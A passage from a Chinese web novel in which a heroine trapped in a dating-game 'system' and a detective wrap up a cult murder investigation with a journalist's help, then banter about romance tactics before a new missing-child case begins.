祝好和程述飞快地对视了一眼,凝神思考片刻,回忆起这是昨天晚上敲开研习室的门、告诉程述林洋来了的那个男人。
可他为什么会找到这儿,又怎么会知道他们的名字?
他是来帮他们的、还是有什么其他的目的?
声音越来越近,但那个人似乎没注意到这边有人。
祝好和程述交换了一下眼神,深吸一口气,在那个人靠近时猛然间从树丛中蹿出,从背后将手机横着贴在了他的喉结上,沉声喝道:“别动!”
那个人浑身一僵,一时分辨不出颈间的凉意来自什么物体,下意识举起双手,手中的手电筒也掉落在地上。
祝好问:“你是谁?”
那个人似乎是被吓到了,语无伦次地回答:“我叫唐宋,是、是个记者,昨天晚上在洋楼里见过你们……你是祝小姐吗?”
“记者?”
唐宋连连点头:“我是卧底去调查那个分享会的,不是他们的人。”
怕他们不敢相信,他又赶忙补充道:“我、我的记者证就在口袋里,不信你们可以看一下。”
程述捂着肋部艰难起身,在他口袋里摸寻片刻,翻出了一张证件,用手电筒仔细看了看,又对着唐宋的脸照了一会儿,才说:“放开他吧。”
祝好闻言松开手,往前几步绕到他面前眯着眼看他,果然看到他脸上有一块胎记。
唐宋两腿发软,撑着墙、抚着胸口给自己顺气,过了一会儿才说:“对、对不起啊,吓到你们了,我顺着痕迹找下来,却没看到你们的踪影,还以为你们出什么事了。”
祝好还有些警惕:“你怎么知道我们在这儿的?”
刚才被她那么一吓,唐宋的声音还有些微不可察的颤抖:“昨晚你们离开之后没过多久,启源老师就派出几个人去追你们了,我放心不下,找了个借口出来,一路跟着他们到了上面那条路,刚才发生的事我都看到了,只是……没敢出手阻止。”
程述问:“那些人还在吗?”
唐宋摇头:“不在了,雨太大,他们也受了伤,估摸着你们摔下来也撑不了太久,就回去了。”
又问:“等他们一离开我就赶紧下来找你们了,你们没事吧?”
程述说:“我肋骨骨折了,不算严重,就是现在行动有点儿困难。”
唐宋从解开雨衣的扣子,从身后拿出一个背包,掏出两件雨衣递给他们:“我知道有一条近路,我的车就停在附近,我把你扶过去,送你去医院。”
祝好没有伸手接雨衣,而是转向程述,用眼神问他:“这个人值得信任吗?”
程述垂眼思忖片刻,大概是觉得一直呆在这里也不个办法,便主动把胳膊搭上了唐宋的肩膀:“那就麻烦你了。”
第113章
祝好还在犹豫唐宋究竟值不值得信任时,他已经扶着程述沿着溪流上游走了。
祝好只得咬咬牙穿好雨衣追上前,打开手电筒给他们照路,但心里还是有些忐忑。
毕竟在西临市呆了那么多天,从与邪教沆瀣一气的警察,到宁愿相信邪教头子也不愿相信自己儿子的母亲,他们遇见的正常人少之又少。
这时候突然冒出一个愿意主动帮助他们的人,祝好反而觉得不太踏实,悄悄从地上捡了块石头防身。
好在唐宋没有撒谎,沿着溪流走了十来分钟、穿过一片茂密的树丛后,真的看到了路上停了一辆车。
祝好没有放松警惕,让唐宋先打开车门,确认里面空无一人,这才松了口气,扔掉石头,跟他一起把程述扶到车上。
既然林洋已经知道了他们正在调查分享会,出于自保,恐怕不会轻易放过他们,目前来看还是得小心谨慎些。商量之后,他们没选择去西临市的大医院,而是在地图上找了家附近的小医院,至少先处理程述的伤。
林间那条路是唯一通往市区的路,好在如唐宋所说,分享会派出的人都已经撤退了,只留下路上两辆撞得七零八落的车和一地狼藉。
祝好心里还惦记着她藏起来的那包证据,于是让唐宋把车停在路边,打着手电筒一路摸寻,好不容易才找到了自己挂着鸭舌帽作为标记的那棵树,顺利找到了那个防水包。
坐在副驾驶上,她侧目偷偷观察唐宋。跟程述说的一样,他长相十分普通,除了左脸上那块比较显眼的胎记之外,几乎没有让人能记住的点。
不过祝好总觉得似乎在哪儿见过他,过了会儿,她斟酌着开口:“唐先生,你真的是记者吗?”
唐宋点点头:“叫我唐宋就行。记者证不是给你们看过了吗?实在不相信的话,你也可以打电话到报社确认一下。”
看他那么坦诚,再追问就有些不礼貌了,于是祝好换了个话题:“你怎么会想到去调查分享会的?”
唐宋沉默片刻,答道:“半个月前,我突然接到一个爆料电话,说西临市有一家心理疗养中心,表面是疗愈心灵的分享会,实际上却是敛财和蛊惑人心的邪教组织,而且还跟警方有来往。”
“他这么说你就信了吗?”
话刚问出口,祝好忽然觉得有些不对劲——自己说话的口气怎么跟某人越来越像了?
于是赶紧找补:“我的意思是,你身为记者,直觉多少比普通人敏锐一些,应该不会轻易相信这种爆料吧?”
唐宋好脾气地笑了笑:“当然不会了,我查阅了很多关于疗养中心的资料,也发觉有些不对劲,顺藤摸瓜找到了那个叫做‘Ouroboros’的组织。”
程述捂着肋下半躺在后座,听完他的解释,问道:“你知道那通报警电话是谁打的吗?”
唐宋顿了一下,才说:“知道,是周逸。”
听到这个名字,祝好的心头不由得颤了一下。
唐宋接着道:“其实从那个电话之后,我一直跟他保持联系,不过他雇人绑架法医做尸检的事我也是后来才知道的。在我把调查结果告诉他的时候,他十分激动,或许是觉得自己不再是一个人战斗了,于是把他搜集到的证据都告诉了我。”
“他说手上有可以证明启源老师侵犯、并且蛊惑分享会的成员杀害陈瑞泽的证据,以及陈瑞泽的尸检结果,他希望我能把这份证据公之于众,还陈瑞泽一个公道,也借这个机会唤醒分享会的那些成员,让他们迷途知返,特别是……陈瑞泽的母亲。”
“不过担心打草惊蛇,我也不敢贸然行动,思来想去,决定先混进去暗访一段时间。”
说到这里,唐宋叹了口气,苦笑道:“可我只是个小小的记者,并没有那么大的能耐,甚至连写出来的文章能不能发表都是由主编决定的。后来,我偶然间得知秦聿风警官从淮江市前来调查,查过他的资料后,觉得他是个值得信赖的警察,便提议让周逸把这
份证据交给他,没想到……”
又急忙补充:“我相信周逸的死一定跟秦警官无关,启源老师雇了几个雇佣兵,专门替他解决一些见不得光的人和事,这件事多半也是他们做的。”
祝好点头认可,顺着他的话仔细思考片刻,又突然意识到什么:“你的意思是,周逸打算给秦警官的证据,你也有一份?”
唐宋点点头:“是的。”
她精神一振,转头跟程述对了个眼神。
有了那些证据,再加上他们从分享会拍到的东西和程述找到的死藤,不管是启源老师还是林洋就都逃不掉了。
不过有些问题祝好还是想不明白:“你怎么知道我们也在调查分享会的?”
唐宋道:“除了在分享会卧底,我也一直关注着警方那边的动态,在警局门口蹲点时看到了你们,就悄悄跟了几天,发现你们果然也在调查分享会的事。”
祝好突然想到什么,试探性问道:“所以那天在酒店楼下跟踪我的是你吗?”
他愣了一下,生怕祝好把他当变态,磕磕巴巴地解释:“不、不是跟踪!我只是想叫住你,给你们一些提醒,但是可能方法不太对,让你误会了。”
说完挠了挠后脑勺,尴尬地笑了一下。
祝好无语:大半夜一声不吭跟在女孩子身后,还穿着一身黑、戴着口罩,想让人不误会都难。
不过不管怎么说,在经历了那么多波折之后,系统总算良心发现,给她开了个挂,这次的任务应该可以顺利完成了。
说话间,车很快就到了城郊的一家私立医院。
这家医院虽然不大,但设施还算齐全。
急诊部医生给程述做了ct,好在他的肋骨只是轻微的骨皮质裂伤,于是给他打上了腹带,嘱咐他不要随意走动,卧床休息半个月左右就能慢慢长好了。
从医院出来,唐宋问:“你们有住的地方吗?不嫌弃的话,可以暂时先去我家呆着。”
他们的手机都不能用了,行李和一些财务还留在之前那家酒店里,而且现在林洋说不定还在到处找他们,住其他地方确实有风险。
祝好跟程述对了个眼神,迟疑了一下,还是答应了,抱歉地对他笑了笑:“不好意思啊,麻烦你了。”
唐宋带他们去的地方是西临市城东一处一室一厅的公寓,屋里收拾得井井有条,干净得甚至不像住过人的样子。
他看出了祝好的疑惑,主动开口解释:“我平时很少在这儿住,不过这里离报社比较近,只有中午太累了会回来休息一下。”
安顿好程述后,天才刚刚亮,窗外的风雨声也逐渐小了。
折腾了一整晚,祝好又困又累,但还是不敢放松警惕——程述还受着伤,她担心自己万一睡过去,又会发生什么不可预测的事情。
好在接下来还算顺利,程述借唐宋的手机给局长打去电话,把调查的结果都告诉了他,并委托唐宋将所有证据都一并发了过去。
得到消息后,局长立刻上报给了厅局,有了足够的证据,厅局也承诺马上会派人对西临市警方以及所谓的分享会进行调查。
电话刚挂断,系统突然弹出了“恭喜您完成本阶段剧情任务”的提示,也就是说,她已经查明了事情的始末,这个案子中属于剧情任务的部分已经顺利完成了,接下来的抓捕就交给警方去完成了,秦聿风的嫌疑也能很快消除。
直到这时,祝好紧绷的神经才稍微放松了些。
她打开控制面板,发现自己的积分又回到了300点,看来系统这回还算是有点良心,给了她一个案情错综复杂、时间跨度又特别长的任务,但奖励积分也同样翻了倍。
局长从淮江市派了人和车来保护他们回去,不出意外的话,应该下午就能到了。林洋和分享会的势力再庞大,手也没办法伸那么长,只要回到淮江市,他们就安全了。
为了庆祝,唐宋提出要请他们一起吃个饭,但程述行动不便,最后还是叫了份外卖到家里。
对着那一桌塑料盘子装着的好菜,唐宋却没动筷,而是叹了口气,脸上流露出难以自抑的悲伤:“得知周逸死讯的时候,我难受了很久,也很想把这件事直接在网上曝光出来,可每到发布帖子的时候,我又犹豫了,总担心会遭到报复。”
“我安慰自己说,我也很想为周逸、还有那些跟他有着同样经历的人做点什么,只是我一个人的力量实在太薄弱了。但其实我知道,我只是还不够勇敢罢了。”
他的难过不像是装出来的,连祝好都有些愧疚了,觉得自己刚刚对他的怀疑完全就是以小人之心度君子之腹。
她以果汁代酒,朝唐宋举起杯子:“你别这么想,哪怕是自诩正义之士的人,也免不了瞻前顾后,你已经做得很好了,周逸如果知道这一切,一定会感谢你的。”
唐宋勉强笑了笑,也举起杯子跟她碰了一下。
祝好仰头喝了半杯果汁,低头看着被子里波动的水面,不由得有些晃神。
周逸雇佣孙彪绑架温珣的做法或许是离谱的,甚至差点害得祝好没命,但是知道前因后果之后,祝好却无法苛责他——一个刚成年的孩子,想依靠自己微小的力量去与邪教组织和警局抗争,简直就是天方夜谭。
他可能早就知道不可能会胜利,甚至已经预知了自己会有跟陈瑞泽相同的结局,却没有选择逃跑,而是想尽一切办法,企图以蚍蜉之躯去撼动大树。
正出神时,肩头突然沉了一下,她回过头,发现程述把手搭在了她肩上轻轻拍了拍,像是……安慰。
还没等她做出反应,他的手又很快收了回去,就好像刚才的事情从来没发生过。
第114章
局长派来接他们的车到西临市时已经是下午了,祝好从刚上车眼皮就变得沉重起来,直到车驶离了西临市,才放心睡了过去。
等她再睁开眼,车已经停在程述家楼下了。
这些天在西临市四处奔波,戴着面具与形形色色的人打交道,经历了各种离奇古怪的事,再见到这栋熟悉的筒子楼,她竟然有了种回家的感觉,那颗一直悬着的心也随着万家灯火亮起,逐渐被填满、缓缓落地。
负责接送他们的警员帮忙扶着程述上了楼,三楼房东大妈的门像往常一样敞开着,小白狗一听到楼道里的动静,立刻冲到门口朝着程述狂吠不止。
房东大妈闻声从屋里出来,看到程述满脸是伤、还被人搀扶着,“哟”了一声:“小程,你们不是说出去办事吗?怎么弄成这样了!”
祝好懒得解释太多,随口敷衍:“不小心让驴给踢了一脚,肋骨断了。”
怕她多问,又赶紧转移话题:“张姨,能借我两个鸡蛋吗?”
毕竟现在天色已经晚了,菜市场早就关门了,手机坏了又不能点外卖,只能回家随便煮个泡面先填饱肚子。
房东大妈虽然平日里八卦了点儿,但人是真热心,摆摆手说道:“吃什么泡面呐,多不健康。你们先回去吧,我下两碗面条,把冰箱里剩的肉一起煮了,待会儿给你们端上去。”
祝好没有拒绝,礼貌地笑着说了声谢谢。
警员安顿好他们,顺便转达了局长的叮嘱,说是让程述安心养伤,车的事不用担心,局里会负责和租车公司商量赔偿。
程述没好气:“废话,为了这案子我人都快没了,难不成还让我赔?”
看警员有些尴尬,祝好赶紧轻轻用手肘推了推程述,他这才乖乖闭嘴。
警员前脚刚走,房东大妈端着面就上来了,两碗热气腾腾的牛肉面,中间还卧了个半熟的荷包蛋,撒了点小葱花,汤汁浓郁、香气扑鼻。
从西临市走高速路回到淮江市也花了四五个小时,在唐宋家吃的那一顿早就消化光了,闻到香味,祝好的肚子咕咕叫个不停。
她谢过房东大妈,扶着程述坐到餐桌前,给他递了双筷子。
这个剧情任务虽然结束了,不过出去一趟回来,待处理的事还很多。
祝好边埋头吃面,边在心里做计划。
首先得把手机拿去修了,现代社会没有手机,做什么都很不方便。
说到手机,程述当时给她挑的是最新款,没用多久就摔坏了,祝好想起来还心疼不已,幸亏看起来只是屏幕碎了,花个百八千多应该能修好,至少也比换台新的划算多了。
其次就是三位可攻略对象了,离开了那么久,除了偶尔的短信联系之外,几乎没有时间培养感情、提升好感度。
虽然系统给了300的奖励积分,但积分这玩意儿当然
是越多越好。
在厅局调查清楚周逸的死因之前,秦聿风的嫌疑还是没办法洗清,只能暂时继续在李砚川那儿呆着。
这几天因为这样那样的原因,一直没有跟他联系,估计他早就急坏了。祝好打算明天买点吃的去看看他,把调查结果跟他说一说。
之后还要再去李砚川家一趟,把白眼狼接回来,再跟他道个谢,毕竟他不仅收留了秦聿风,又照顾了白眼狼,着实帮了不少忙。
至于温珣,等手机修好之后得先跟他报个平安,至于见家长这件事,还是留到积分告急的时候再考虑吧。
程述的骨折不算很严重,右边胳膊基本不受影响,左边胳膊不能大幅度活动,日常生活还是能自理的,就是咳嗽、笑、起卧等牵扯到肋骨的动作会加剧疼痛,所以这些活儿自然就全落到她身上了,这阵子可有得她忙的。
不过祝好对此并没什么怨言,毕竟再怎么说程述是为了救她才受的伤,从某些角度来看,他俩也是过命的交情了。
“咳——”面吃得差不多了,程述突然咳了两声,看似不经意地开口:“对了,你那个什么乙女游戏……”
祝好一愣,差点儿把自己掉马的事儿给忘了。
这个秘密憋在心里那么久,总算有了个可以分享的人,而且程述还难得地没把她当成神经病。
昨天晚上的谈天有一搭没一搭,没聊多久就被突然出现的唐宋打断,想必程述也有许多问题没来得及问。
既然都已经开了头,索性全盘托出,一次性讲个明白。
她放下筷子,双手交握着支着下巴:“你还有什么想知道的吗?”
程述犹豫了一下,似乎在做激烈的思想斗争,最终还是缓缓摇了摇头。
想不到他居然能为了“关我屁事”这个flag不倒,硬生生压制住自己的好奇心,真是一生要强的男人。
祝好决定给他个台阶下:“你之前说过,如果我不想说,你就不会过问,但如果是我主动想告诉你呢?”
程述低头用筷子搅动碗里的汤,话到嘴边,又急急忙忙叼住,再三斟酌了语气,才若无其事地问出了第一个问题:“你是从什么时候来到这儿的?”
“从我被许安宁追杀那个晚上。”
“那你的真实身份是什么?”
祝好说:“我就是我自己,我就叫祝好,大学刚毕业,至于我爸爸妈妈的情况,昨天晚上已经跟你说过了。不过在这个游戏里我的身份是最近才逐步完善的,所以一开始秦警官才查不到任何关于我的信息。”
顿了顿,又补充了一句:“一开始没办法跟你们解释这些,当然了,就算解释了你们一定也不会相信我,所以我才假装自己失忆了。”
程述沉吟了片刻,又问:“最近发生的这些案子,都是你的……系统任务?”
这话说的,好像那些受害者都是因为她才死的。
祝好不满地纠正他:“能不能换个说法,解决这些案子才是我的任务。”
程述略一思忖:“你还能再变出一块巧克力给我看看吗?”
祝好想也没想就拒绝:“不行!巧克力要用积分来换,我的积分很宝贵。”
再说了,如果那块巧克力送给可攻略对象的话,没准能提升好感度呢。
程述也没再坚持,转而问道:“除了变出巧克力,你还有什么特异功能?”
刚刚还说不感兴趣,现在问题倒是一个接一个的。
祝好说:“也没什么特别的,这本质上就是个恋爱游戏,除了商城里那些东西,就是一些什么魅力值、好感度……”
程述忽然嗤笑一声:“那你的外挂还怪没用的。”
虽然祝好也经常吐槽系统,不过相处久了还是对它有点感情。
她下意识为系统正名:“也不能这么说,你还记得许安宁那个案子里,我跟你说过我能回忆起案件细节吗?我有个‘剧情回顾’的功能,可以让我记起过去某段时间内见过的场景中所有事物。厉害吧?”
程述默不作声地点点头,没发表什么意见。
祝好终于找到一个可以分享秘密的对象,忍不住大吐苦水:“不过这个游戏太坑了,回顾一次剧情就要花50积分,这50点积分要提升5点好感度才能获得……哎,老大。”
程述:“嗯?”
她心念一转,突然生出一个想法:“要不你来当我的军师吧。”
“什么军师?”
母胎solo至今,祝好完全不懂得恋爱到底要怎么谈,穿进游戏里那么久了,连可攻略对象的手都没摸过,游戏进度可太慢了。
而程述好歹也是个男人,男人最了解男人,他应该比祝好更清楚怎么做才能高效快捷地提升好感度。
“就是……”祝好想了想:“当我在攻略的过程中遇到困惑或问题时,你可以从一个男人的角度给我提供经验和建议,帮助我解决问题、做出更好的决策,好让我顺利拿下他们。”
“他们?”程述抬眼看她,无声地笑了一下,阴阳怪气道:“你那么贪心,一次要拿下三个人?”
祝好朝他翻了个白眼:“那倒也不是。我不是跟你说了吗,只有好感度越高,我才能获得更多积分。”
她当然不想当海王,可没有积分傍身,在游戏里可谓是寸步难行,特别是碰上像昨天晚上那样紧急的情况,积分甚至可以救命。
程述没有马上答应,嘴角微不可察地向下一弯,闷闷地答了句:“再说吧。”
祝好不乐意了:“什么再说吧,我的秘密可是只跟你一个人说了,你必须帮我!”
“……”程述没说话,默默垂下眼帘,把筷子搁在碗边:“我先去洗澡睡觉了。”
说完没再理会祝好,撑着桌子艰难地站起身,回房间拿干净的衣服进了卫生间。
祝好也没多想,哼着小曲儿把碗给洗了,打算明天再还给房东大妈,眼看时间还早,又顺手把厨房打扫了一遍。
等她打扫完毕,刚好碰到程述裹着一身热腾腾的水汽、擦着头发从浴室里出来,正往房间里走。
她跟上前:“我帮你上药。”
“不用。”
不用?为什么不用,医生都说了要按时上药、外加绑好固定带,骨折处才能愈合得更快。
程述语气淡淡的,隐隐带着些不悦:“我累了,少上一天不会死。”
行吧,皇上不急太监急什么急,反正疼的又不是她。
她叮嘱道:“那你晚上要是有事儿记得叫我,吼一嗓子就行,我尽量不睡那么死。”
程述面无表情地嗯了一声,“砰”地关上了房门。
祝好简直莫名其妙:刚才还好好的,怎么突然就不高兴了。
年纪轻轻就这样,这家伙如果老了,一定是养老院里最让护工头疼的那类老头儿。
第115章
祝好才懒得惯着他,享受了个热腾腾的热水澡之后,回到了久别的阁楼,一下子倒在思念已久的小床上。
要不俗话怎么说金窝银窝不如自己的狗窝呢,四位数一晚的房间住得都没这小小的沙发床舒服,她几乎是脸刚沾到枕头就昏睡了过去。
或许是连日奔波太劳累,又或许是卸下了
秘密,心中轻快不少,这一觉她睡得很沉,几乎一夜无梦,等她醒来时,阳光已经从天窗泻下。
等她打着哈欠从阁楼下来时,程述已经坐在沙发上看电视了,昨晚萦绕在他周围的那股低气压已然消失,取而代之的是一脸似笑非笑的神情。
虽然祝好还没搞懂他昨晚为什么突然生闷气,不过看起来他已经把自己给哄好了。
她打了个哈欠:“老大,你怎么坐这儿?”
程述:“等你起床啊,我饿了。”
说着扬了扬下巴,示意她看墙上的挂钟,祝好这才发现已经快十点了。
“你怎么不叫醒我?”
程述淡淡答道:“叫过了,你没醒。”
叫过了吗?祝好瞥了眼墙边的扫帚,还是摆在跟昨天晚上睡前一模一样的位置,显然没动过。
不过她也没纠结:“那你等等,我下楼买个早餐,顺便把手机拿去修了。”
简单洗漱后,她找了个塑料袋把洗干净的面碗装好,准备下楼时顺便还给房东大妈,刚要出门,却被程述叫住了。
“对了,我答应你。”
祝好有些茫然:“答应我什么?”
“做你的军师。”
“真的?”
程述点点头,嘴角勾起一抹笑:“真的。”
祝好总觉得那笑容里带了点儿她捉摸不透的意味,但脑子有些浆糊,一时抓取不到,索性不想那么多了,总之答应了就是好事。
她提起装碗的塑料袋,穿上外套出了门。
房东大妈得知祝好要去修手机,热情地把她带到附近的一家卖手机的小店。
手机店店主是住在同一栋楼的邻居,他拆开手机检查之后,发现主板没有损坏,只需要换个屏幕就行,还给了祝好一个据说“史无前例”的优惠价,并承诺下午就能修好。
解决了手机的事,祝好买完早餐,又被房东大妈拉去菜市买了些冬瓜和排骨——俗话说以形补形,房东大妈坚定地认为,多喝点骨头汤补一补,程述的伤就能好得快一些。
祝好之前跟祝君安学过做菜,熬个汤对她来说没什么难度。
排骨跟姜酒一起焯过水后,小火炖煮一个小时,开锅前的十五分钟再加入切块的冬瓜,撒点盐就行。
熬汤的间隙,祝好还顺便把客厅收拾了一下,免得白眼狼从李砚川的豪华大别野再回到这破旧居民楼时,心里会有落差。
汤炖好了,她尝了口咸淡,刚刚好,便给程述盛了一碗,顺口问他:“待会儿我要出去一趟,你自己在家休息行吗?”
程述捧着碗刚要喝汤,听她这么说,又把碗放下了:“你要去哪儿?”
祝好:“秦警官一个人在李砚川那里呆了那么久一定闷坏了,我想带点好吃的去看他,顺便陪他聊聊天,跟他说一下案子的进展。”
程述闻言,捏着眉心“啧”了一声,叹息着摇了摇头,一副恨铁不成钢的模样:“难怪你攻略不了他们呢。”
祝好一愣:“怎么了?”
他敲了敲桌面:“男人这种生物,就是不能对他们太好。”
祝好来了兴趣,在他对面坐下了:“为什么?”
他一脸“这你都不知道?”的鄙夷:“表现得太积极了,男人反而会觉得你是在倒贴,很快就会对你失去好奇心。但是如果你表现得很高冷,就会激起他们的挑战欲和征服欲,从而对你产生兴趣。”
恋爱果然比破案难多了,祝好一脸信息量过载的茫然:“那我要怎么做?”
程述微不可察地一弯嘴角:“别理他们就行了。”
祝好:“啊?”
不理他们,那还怎么攻略?
程述发出一声哼笑:“这你就不知道了吧,对待男人就是要欲擒故纵。”
他拿白眼狼举了个例子:“就拿白眼狼来说吧,如果它每天都蹭你、分分秒秒黏着你,你一定也觉得没意思。但是如果它平时不怎么理你,只是偶尔蹭你一下,你是不是会很开心,并且还想加倍回报它对你的喜欢?”
祝好顺着他的话仔细想了想,好像是这么个道理。
平时白眼狼更喜欢黏着程述,对她从来都是爱搭不理的,偶尔心血来潮蹭一蹭她,她就觉得自己得到了宠幸,马上屁颠屁颠去给它开罐头了。
男人果然更了解男人,这么看来,程述这个“军师”比那个什么“女追男不败攻略”强多了。
说到白眼狼,祝好又有了新的问题:“那白眼狼怎么办,总不能让它一直呆在李砚川家吧?”
“这还不简单,你给李砚川打个电话,让他把白眼狼送回来就好了。”
祝好皱了皱眉:“这……不太好吧。”
白眼狼在李砚川那儿白吃白喝了一个星期,还用人家四位数的真丝四件套磨爪,完了还要他专程开着跑车送回来……虽然李砚川肯定不会拒绝,但怎么想都不太礼貌。
程述一挑眉:“这就是新的知识点了,你要学会适当把男人当成工具,让他为你做点儿事,这样他才会觉得自己在你这儿是有价值的。”
祝好还是有些迟疑:“真的吗?”
程述挥了挥手,意思是示意她放心:“军师怎么会骗你呢?”
又补充道:“至于老秦那边,等手机修好了,我自己跟他聊就行,你就不用操心了。”
行吧,祝好决定信他一回。
到了约定的时间,她去楼下手机店取回了修好的手机,先给李砚川打了个电话,告诉他自己已经回到淮江市了,问他能不能把白眼狼送回来。
李砚川接到她的电话很是开心,几乎立刻就答应了。
没过多久,他的跑车就停在了楼下,祝好不好意思麻烦他送上来,还是决定自己下去接白眼狼。
出门前,程述还不忘叮嘱她:“记住,要高冷。”
她的身影刚出现在楼下,靠在车旁等她的李砚川眉眼立刻弯了起来,远远朝她招手:“好好!你这几天怎么都不回我消息了?我好担心你。”
祝好解释:“在西临市碰到点事儿,我手机摔坏了,刚修好。”
李砚川的神情紧张起来:“怎么了?出什么事了吗?”
祝好本想跟他讲讲在西临市的遭遇,但转念一想,剧情都已经结束了,说了反而让他担心,于是只说了句:“不是什么大事,已经解决了。
顿了一下,又岔开话题:“白眼狼呢?”
李砚川这才想起此行的目的,打开副驾驶的车门,把白眼狼的航空箱拿了出来,还附赠了一袋没吃完的进口猫粮和罐头:“白眼狼好像又胖了一些,航空箱有点儿重,要不我送你上去吧?”
祝好接过航空箱掂了掂,果然又沉了不少,加上那袋罐头,估摸着得又二十来斤了,但还是摇头:“不用,我自己上去就行。”
李砚川也没勉强,笑着问她:“对了,好好,你最近有空吗?酒吧里新研发了一批不含酒精的饮品,我想请你去帮我试试。”
祝好刚想答应,话到嘴边,又想起程述的叮嘱,顿了顿,说道:“再说吧。”
“好吧。”李砚川眸光暗了下来,抿了抿嘴,欲言又止,迟疑了好一会儿,才问:“好好,你心情不好吗?”
祝好一愣:“没有啊。”
李砚川垂下眼,嘴角也微微下撇:“那你为什么突然对我那么冷漠,是我哪里没做好、让你不开心了吗?我把白眼狼照顾得很好,它绝对没受委屈。”
还没等祝好说话,他又兀自反省起来:“还是……我给你发了太多信息,你觉得我太烦了?那、那我以后少发点行吗?”
那副可怜巴巴的模样让祝好幻视一只垂尾乞怜的小狗,不由得心软了,想了想,说道:“明晚吧,明晚我去酒吧试试新饮品。”
李砚川蓦地抬眼,眼底浮现出一丝神采,又重新笑起来:“好!那明晚我来接你!”
系统响起提示音:“与李砚川的好感度+5,获得50积分!”
祝好眼睛一亮,不错不错,欲擒故纵这招果然有用!
她应了一声,跟李砚川道别后,一口气提着白眼狼上了五楼。门一打开,就迫不及待跟程述报喜:“老大,你可真神!李砚川对我的好感度又提升了!”
事情的发展好像跟程述想象的不太相符,他的笑容僵了一瞬,脱口而出:“怎么可能?不是让你高冷一点吗?”
祝好理直气壮:“我高冷了啊!”
“那怎么还……”他话说到一半,又想起什么,硬生生刹住了:“你怎么高冷的?”
祝好喜不自禁:“他邀请我去酒吧尝试新品,我本来都拒绝了,但是他看起来实在太可怜,我没忍住就答应了,没想到好感度立刻提升了5点!你说的欲擒故纵果然有用!”
程述:“……”
他表情复杂,张了张嘴,最后闷闷地吐出几个字:“那恭喜你啊。”
祝好沉浸在喜悦中,没察觉出他有什么不对劲,喜滋滋打开了航空箱的门,把白眼狼放了出来。
进口罐头果然营养充足,短短一个星期不见,它又胖了不少,皮毛也更光滑了。敷衍地在祝好脚下转了一圈后,它嗷嗷叫着直奔坐在沙发上的程述而去,“腾”一下跃到他腿上。
程述抬起手有一下没一下摸着它的脑袋,一副若有所思的样子,不知在想些什么。
*
兴许是上一段剧情太冗长,系统这回给了祝好足够的休息时间,足足在家里待了半个月,还没有触发新的剧情。
不过这半个月里,倒是不断有好消息传来。
厅局那边展开了调查,一举捣毁了制造、散布迷信邪说,蛊惑、蒙骗他人,以达到敛财和控制信徒为目的的分享会。
作为他们身后的保护伞,西临市警方也被彻查了一遍,林洋和苟辉也都受到了相应的处罚。
启源老师交代了自己的犯罪事实,几年前借着分享会的名义,他笼络了一批所谓“信徒”,包括周逸的母亲和陈瑞泽的父母。
陈瑞泽的母亲刘沛玲被红斑狼疮折磨得痛苦不堪,偶然间在朋友的介绍下去了分享会,喝下了启源老师的“圣水”后产生了幻觉,从此对分享会深信不疑,还把自己的丈夫和孩子也带了过去。
从见到陈瑞泽的第一眼,启源老师就对这个长相清秀的男孩起了歪心思,接着“研习”的名义让刘沛玲将他留在洋楼里,并且不顾他的苦苦哀求侵犯了他。
那天,他发现陈瑞泽竟想背着自己跟周逸一起逃跑后,怒从中来,捏造了一个“被恶魔附身”的谎言,当着众多信徒的面灌他喝下了强碱液体,还将他的痛苦挣扎称作“灼烧恶魔的灵魂”。
二三十位信徒、包括陈瑞泽的父母,就这么将陈瑞泽围在中间,眼睁睁看着一个年轻的生命消逝。
本以为这个残忍的真相会跟陈瑞泽的尸体一并被掩埋在荒地里,没想到几天之后,林洋竟收到了淮江市警方传来的消息:陈瑞泽的尸体居然出现在了淮江市。
担心启源老师被查到后会牵连自己,他赶紧制造伪证,将谋杀的罪名推到了周逸身上,又派人找到周逸、残忍地将他推下楼。
同时启源老师让人通过周逸的账户往秦聿风的银行卡转了20万元,企图把周逸的死嫁祸给他。
在秦聿风“失踪”之后,林洋本以为这件事可以结束了,没想到程述和祝好不仅靠精湛的演技把他耍得团团转,还一路追查到了分享会,拍下了证据,并交到了厅局。
接下来等待他们的,将会是法律的制裁。
按理来说,系统弹出提示并给予了积分奖励之后,就说明这一段剧情已经结束了,可是某些瞬间,总有一个念头飞快掠过祝好的脑海里,让她觉得自己好像遗漏了点儿什么。
然而那一瞬是在太快,当她凝神想要抓住那一点儿灵感时,却总是扑空。
真相水落石出,秦聿风终于得以洗清罪名,回到了警局报到。
他离开的这段时间,局里堆积了不少案子,还有一大堆检查和报告等着他去写,别说跟祝好的游乐园之约了,甚至连见上一面的时间都抽不出来。
祝好倒是没什么怨言,来日方长嘛,况且有了程述这个军师在,还担心好感度提升不了吗?
第116章
没有新的剧情任务的这半个月里,祝好的生活过得无比安逸,每天除了买菜做饭之外,就是读读书、上上网,或者跟程述一起看个电影,颇有种岁月静好的感觉。
得益于常年保持健身和运动的习惯,程述的身体素质出奇的好。当时医生还说断骨处至少需要一两个月时间才能愈合,这才过了半个月,他大部分时间就已经能跟个没事人一样行动自如了。
为什么说是“大部分时间”呢?
因为每当祝好要出门去李砚川的酒吧坐坐,或者跟温珣约了一起吃饭时,他的伤口就会突然之间、莫名其妙痛起来。
看在他救命之恩的份上,祝好每次都不得不取消计划留在家里照顾他,所以这半个月里,她跟几个可攻略对象的好感度一点儿都没有提升。
立冬刚过不久,淮江市虽然没有开始下雪,但温度骤降,路上的行人已经开始穿起了羽绒服。
祝好起床后,推开客厅的玻璃窗,干燥且凛冽的空气从窗缝中涌入、钻进鼻腔,她冷不丁打了个喷嚏。
“老大,我下去买点菜,你想吃什么?”她吸了吸鼻子问道。
程述懒洋洋地靠在沙发上给白眼狼梳毛,随口答了句:“什么都行,除了骨头汤。”
祝好不解:“天冷了,喝点儿汤有什么不好的。”
“你懂什么,我都大半个月没运动过了,光补充营养又不运动会长胖的。”想了想,他还是不放心:“算了,我去买菜吧,中午吃蔬菜沙拉。”
说完就要进房间换外套。
祝好十分无语,半年前刚认识他的时候还是一副头发凌乱、胡子拉碴的宅男形象,什么时候变得那么在意形象了?
程述换好外套刚要出门,手机突然响了起来。他看了眼屏幕,接起电话:“喂,老秦。”
听到秦聿风的名字,祝好动作一滞,回头看他。
秦聿风过去半个月忙得几乎是脚不沾地,连她发的信息都是隔天才回复一次,突然给程述打电话,是终于触发了什么新剧情吗?
果不其然,程述皱着眉头听了几句后,挂断了电话,对祝好说:“中午不用做饭了,有案子。”
“什么案子?”
“今天早上有个六岁的小女孩失踪了。”
祝好的心猛地一揪:“怎么失踪的?”
